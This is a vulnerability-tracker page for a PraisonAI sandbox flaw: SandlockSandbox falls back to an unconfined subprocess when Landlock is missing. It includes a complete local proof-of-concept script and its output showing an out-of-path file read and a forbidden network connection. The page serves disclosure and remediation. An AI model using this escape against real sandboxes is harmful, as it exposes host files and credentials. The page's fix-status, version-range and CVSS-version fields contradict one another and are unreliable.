CVE-2026-57144

HIGHPre-NVD 8.88.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 8.8Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable

Summary

praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False.

On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config).

That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False.

Technical Details

SandboxConfig.native() creates a restricted native policy and records caller-provided writable paths plus the requested network posture:

return cls(
    sandbox_type="native",
    working_dir=os.getcwd(),
    security_policy=SecurityPolicy(
        allow_network=network,
        allow_file_write=True,
        allow_subprocess=True,
        allowed_paths=resolved_paths,
    ),
    metadata={"writable_paths": resolved_paths, "network": network},
)

SandlockSandbox builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:

policy = Policy(
    fs_readable=allowed_read_paths,
    fs_writable=allowed_write_paths,
    net_allow_hosts=[] if not limits.network_enabled else None,
    max_memory=f"{limits.memory_mb}M",
    max_processes=limits.max_processes,
    max_open_files=limits.max_open_files,
)

However, both execution paths fail open when Sandlock is unavailable:

if not self.is_available:
    logger.warning("Sandlock not available, falling back to subprocess")
    from .subprocess import SubprocessSandbox
    fallback = SubprocessSandbox(self.config)
    return await fallback.execute(code, language, limits, env, working_dir)

SubprocessSandbox.execute() writes the code to a temp file and runs python with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The safe_sandbox_path() checks only protect the read_file(), write_file(), and list_files() helper methods.

Why This Is Not Intended Behavior

The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:

  • PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks /etc/passwd, SSH keys, AWS credentials, and unauthorized connections.
  • The security demo creates SandboxConfig.native(writable_paths=["./safe_workspace"], network=False) and labels file and network access as blocked operations.
  • The upstream sandlock package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection.
  • PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.

The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.

PoV

Run from a PraisonAI source checkout:

python3 poc/pov_poc.py \
  --repo /path/to/PraisonAI

The PoV:

  • injects a fake sandlock module that imports successfully but reports no usable Landlock support;
  • configures SandboxConfig.native(writable_paths=[tenant_a], network=False);
  • creates tenant-b-secret.txt outside the configured path;
  • starts a localhost TCP listener;
  • executes code through SandlockSandbox.execute().

Observed result on v4.6.58:

{
  "child_output": {
    "network_reply": "local-ok",
    "outside_read": "TENANT_B_CANARY"
  },
  "configured_network": false,
  "outside_path_under_allowed": false,
  "sandlock_available": false,
  "sandbox_type": "sandlock",
  "status": "COMPLETED",
  "vulnerable": true
}

This proves both policy boundaries are crossed:

  • the file read target is not under the configured allowed path;
  • the localhost network connection succeeds even though the native policy was created with network=False.

Full PoV script:

#!/usr/bin/env python3
"""Local-only PoV for poc.

The PoV simulates a system where the optional `sandlock Python package is installed but kernel Landlock support is unavailable. That is the exact branch handled by SandlockSandbox.execute(): it logs a warning and falls back to SubprocessSandbox.

No external network is used. The network control is a localhost TCP listener. No sensitive host files are read. The filesystem control uses temporary tenant directories and a canary file outside the configured writable path. """

from __future__ import annotations

import argparse import asyncio import contextlib import json import os import pathlib import socket import sys import tempfile import types from typing import Any

def _repo_paths(repo: pathlib.Path) -> list[str]: return [ str(repo / "src" / "praisonai"), str(repo / "src" / "praisonai-agents"), ]

async def _accept_once(server: socket.socket) -> str | None: loop = asyncio.get_running_loop()

def accept() -> str: conn, _ = server.accept() with conn: data = conn.recv(128) conn.sendall(b"local-ok") return data.decode("utf-8", "replace")

with contextlib.suppress(Exception): return await loop.run_in_executor(None, accept) return None

async def run_pov(repo: pathlib.Path) -> dict[str, Any]: sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py" if not sandlock_path.exists(): return {"repo": str(repo), "has_sandlock": False, "vulnerable": False}

sys.path[:0] = _repo_paths(repo)

# Support both the original v4.5.110 API check and the current v4.6.58 API # check while forcing the "Sandlock not available" branch. sys.modules["sandlock"] = types.SimpleNamespace( is_available=lambda: False, landlock_abi_version=lambda: 0, )

from praisonai.sandbox.sandlock import SandlockSandbox from praisonaiagents.sandbox import ResourceLimits, SandboxConfig

with tempfile.TemporaryDirectory(prefix="poc-") as temp_root: base = pathlib.Path(temp_root)

# Make the PoV deterministic on systems where "python" is not on PATH. bindir = base / "bin" bindir.mkdir() (bindir / "python").symlink_to(sys.executable)

allowed = base / "tenant-a" allowed.mkdir() outside = base / "tenant-b-secret.txt" outside.write_text("TENANT_B_CANARY", encoding="utf-8")

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("127.0.0.1", 0)) server.listen(1) server.settimeout(5) port = server.getsockname()[1]

config = SandboxConfig.native(writable_paths=[str(allowed)], network=False) sandbox = SandlockSandbox(config=config) await sandbox.start()

code = f""" import json import socket

result = {{}}

try: with open({str(outside)!r}, "r") as f: result["outside_read"] = f.read() except Exception as exc: result["outside_read_error"] = type(exc).__name__ + ": " + str(exc)

try: s = socket.create_connection(("127.0.0.1", {port}), timeout=3) s.sendall(b"hello") result["network_reply"] = s.recv(32).decode("utf-8", "replace") s.close() except Exception as exc: result["network_error"] = type(exc).__name__ + ": " + str(exc)

print(json.dumps(result, sort_keys=True)) """

accept_task = asyncio.create_task(_accept_once(server)) result = await sandbox.execute( code, limits=ResourceLimits( timeout_seconds=10, memory_mb=512, max_processes=10, max_open_files=64, network_enabled=False, ), env={"PATH": str(bindir)}, )

accepted_payload = None with contextlib.suppress(Exception): accepted_payload = await accept_task

server.close() await sandbox.stop()

child_output: dict[str, Any] = {} with contextlib.suppress(Exception): child_output = json.loads(result.stdout.strip())

vulnerable = ( child_output.get("outside_read") == "TENANT_B_CANARY" and child_output.get("network_reply") == "local-ok" )

return { "repo": str(repo), "has_sandlock": True, "sandbox_type": sandbox.sandbox_type, "sandlock_available": sandbox.is_available, "configured_allowed_paths": config.security_policy.allowed_paths, "configured_network": config.security_policy.allow_network, "outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep), "status": getattr(result.status, "name", str(result.status)), "exit_code": result.exit_code, "stdout": result.stdout.strip(), "stderr": result.stderr.strip(), "error": result.error, "child_output": child_output, "accepted_local_payload": accepted_payload, "vulnerable": vulnerable, }

def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", required=True, type=pathlib.Path) args = parser.parse_args()

result = asyncio.run(run_pov(args.repo.resolve())) print(json.dumps(result, indent=2, sort_keys=True))

if result.get("has_sandlock") and not result.get("vulnerable"): return 1 return 0

if __name__ == "__main__": raise SystemExit(main())

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

If a PraisonAI user or service relies on SandlockSandbox / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access.

Concrete impact includes:

  • reading files outside the configured tenant/workspace path;
  • reading project files, credentials, .env files, SSH material, or cloud config reachable by the PraisonAI process user;
  • connecting to loopback or internal services despite network=False;
  • moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.

The local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.

Suggested Fix

Fail closed when the requested native sandbox boundary cannot be enforced.

Recommended changes:

  • In SandlockSandbox.execute() and run_command(), return a failed SandboxResult or raise a clear runtime error when self.is_available is false.
  • If fallback behavior is kept for developer convenience, require an explicit opt-in such as allow_degraded=True or fallback="subprocess" and surface that degraded state in the result metadata.
  • Do not preserve sandbox_type == "sandlock" in status metadata when the actual execution backend is subprocess.
  • Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.
  • Add tests that a native policy with network=False and a restricted path cannot read outside-path canaries or connect to a localhost listener.
  • Document the required kernel/ABI versions and the exact degraded-mode semantics.

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Package: praisonai
  • Component: src/praisonai/praisonai/sandbox/sandlock.py
  • Related config component: src/praisonai-agents/praisonaiagents/sandbox/config.py
  • Latest verified release/current head: v4.6.58, 1ad58ca02975ff1398efeda694ea2ab78f20cf3e

Confirmed affected:

v4.5.110  vulnerable
v4.5.120  vulnerable
v4.6.58   vulnerable
current   vulnerable

Negative control:

v4.5.109  not affected because SandlockSandbox is absent

Suggested affected range: >= 4.5.110, <= 4.6.58.

No fixed version is known at submission time.

Version Sweep

version              has_sandlock  sandlock_available  status     outside_read     network_reply  vulnerable
praisonai-v4.5.109   false                                               false
praisonai-v4.5.110   true          false               COMPLETED  TENANT_B_CANARY  local-ok       true
praisonai-v4.6.58    true          false               COMPLETED  TENANT_B_CANARY  local-ok       true
praisonai-current    true          false               COMPLETED  TENANT_B_CANARY  local-ok       true

GitHub history for sandlock.py shows the backend was introduced in 4ee7d298c89f on 2026-04-01 with "graceful fallback to SubprocessSandbox", then updated in 7ae6c6d19c31 on 2026-04-02 to use the current Landlock ABI check.

Advisory History

Nearby advisories are distinct:

  • GHSA-r4f2-3m54-pp7q / CVE-2026-34955: SubprocessSandbox shell command escape through 4.5.96.
  • GHSA-4mr5-g6f9-cfrh, GHSA-qf73-2hrx-xprp, GHSA-6vh2-h83c-9294: execute_code() Python sandbox escapes.
  • GHSA-ch89-h4r2-c8f8: agent tools workspace escape via symlinks.
  • GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tool workspace fail-open.

This report covers a different root cause: SandlockSandbox / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release v4.6.58, while the older SubprocessSandbox shell escape advisory was fixed at 4.5.97`.

CVSS v3
8.8
EG Score
8.8(low)
EG Risk
44(Track)
EG Risk 44/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity88% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 18, 2026

Last Modified

June 18, 2026

Vendor Advisories for CVE-2026-57144(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
praisonai4.5.110 ... 4.6.9 (83 versions)4.6.61

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 17:44 UTCEG score recompute
  2. 2026-07-23 03:20 UTCEG score recompute
  3. 2026-07-20 21:32 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-57144?
CVE-2026-57144 is a high vulnerability published on June 18, 2026. PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable Summary praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed…
When was CVE-2026-57144 disclosed?
CVE-2026-57144 was first published in the National Vulnerability Database on June 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-57144?
CVE-2026-57144 has a CVSS v4.0 base score of 8.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-57144?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-57144, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-57144

Explore →

Is Your Infrastructure Affected by CVE-2026-57144?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.